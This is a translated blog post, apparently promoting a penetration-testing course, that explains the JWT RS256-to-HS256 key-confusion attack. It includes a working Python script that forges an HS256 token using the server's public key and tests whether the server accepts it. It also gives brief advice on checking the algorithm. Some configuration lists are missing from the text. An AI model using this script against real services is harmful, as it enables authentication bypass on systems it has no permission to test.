JWT: Digital Signature Attack VS MAC Attack

Hello. It's no secret that every month OTUS launches several completely new and unique courses, this month the Pentest. Penetration Testing Practice . According to an established tradition, on the eve of the start of the course, we are sharing with you the translation of useful material in this area.










During the last pentest, I came across an authorization scheme based on JSON Web Token (or just JWT). JWT consists of three parts: header, payload, verification information. The first part of the header contains the name of the algorithm, which will be used later for the verification part of the JWT. This is dangerous, since an attacker can modify this information and thus (possibly) control which scheme the server will use for verification.



Two schemes are usually used: RS256 ( digital signature algorithm ) and HS256 ( MAC based algorithm ). A completely unsafe option would be a NULL scheme: do not include verification information at all - unfortunately the NULL scheme was not accepted by the target web server.



A small variation on the JWT type confusion



attack, which might work if the server implementation uses a validation library that simply calls code like verify (token, key) and assumes that only digitally signed tokens will be used. In this case, the second parameter “key” will always be public and will be presented for verification (digital signatures use the private key to create a signature and the corresponding public key to verify the created signature).



Now the attacker can obtain the public key, create a new MAC-based token and use it to create part of the verification of this token. In a MAC-based scheme, only a secret key is needed to generate verification information, and thus the attacker uses a public key (digital signature) as a secret key for the MAC. If this token is now passed to the server for verification, the library identifies the scheme that will be used for the token (which was set by the attacker as HS256, pointing to the MAC scheme). The library will use the second parameter as input to create the MAC. Since this is a public key, the new MAC matches the MAC that was transmitted to the attackers, and since they match, the server will accept a fake token. What then should an application developer do? If the token is accepted by the server, the server should always check if the algorithm used matches the one that was originally planned by the developer.



Theoretically, this should be easy to verify, but I did not find a working tool. Therefore, I myself wrote a python script. To use it, in the source code you must use the following configurations:





The script does the following:





Since the return status code (with a modified token) was 401 (authorization is prohibited), authorization checks on the side of the target server worked, and thus, it was not compromised by the signature-vs-mac attack. If this worked, identical status codes and similar resulting documents would be created with both HTTP calls (with the original as well as with the modified token).



I hope this article helps you in your pentest practice, use the python script with pleasure:



 import jwt import requests from jwcrypto import jwk from cryptography.x509 import load_pem_x509_certificate from cryptography.hazmat.backends import default_backend # configuration jwks_url = "https://localhost/oauth2/.well-known/jwks.json" operation_url = "https://localhost/web/v1/user/andy" audience = "https://localhost" token = "eyJh..." # retrieves key from jwks def retrieve_jwks(url): r = requests.get(url) if r.status_code == 200: for key in r.json()['keys']: if key['kty'] == "RSA": return jwk.JWK(**key) print("no usable RSA key found") else: print("could not retrieve JWKS: HTTP status code " + str(r.status_code)) def extract_payload(token, public_key, audience): return jwt.decode(token, public_key, audience=audience, algorithms='RS256') def retrieve_url(url, token): header = {'Authorization' : "Bearer " + token} return requests.get(url, headers=header) # call the original operation and output it's results original = retrieve_url(operation_url, token) print("original: status: " + str(original.status_code) + "\nContent: " + str(original.json())) # get key and extract the original payload (verify it during decoding to make # sure that we have the right key, also verify the audience claim) public_key = retrieve_jwks(jwks_url).export_to_pem() payload = extract_payload(token, public_key, audience) print("(verified) payload: " + str(payload)) # create a new token based upon HS256, cause the jwt library checks this # to prevent against confusion attacks.. that we actually try to do (: mac_key = str(public_key).replace("PUBLIC", "PRIVATE") hs256_token = jwt.encode(payload, key=mac_key, algorithm="HS256") # call the operation with the new token modified = retrieve_url(operation_url, str(hs256_token)) print("modified: status: " + str(modified.status_code) + "\nContent: " + str(modified.json()))
      
      





That's all. We are waiting for everyone who has read to the end at a free webinar on the topic: "How to start sorting out bugs on the Web . "



All Articles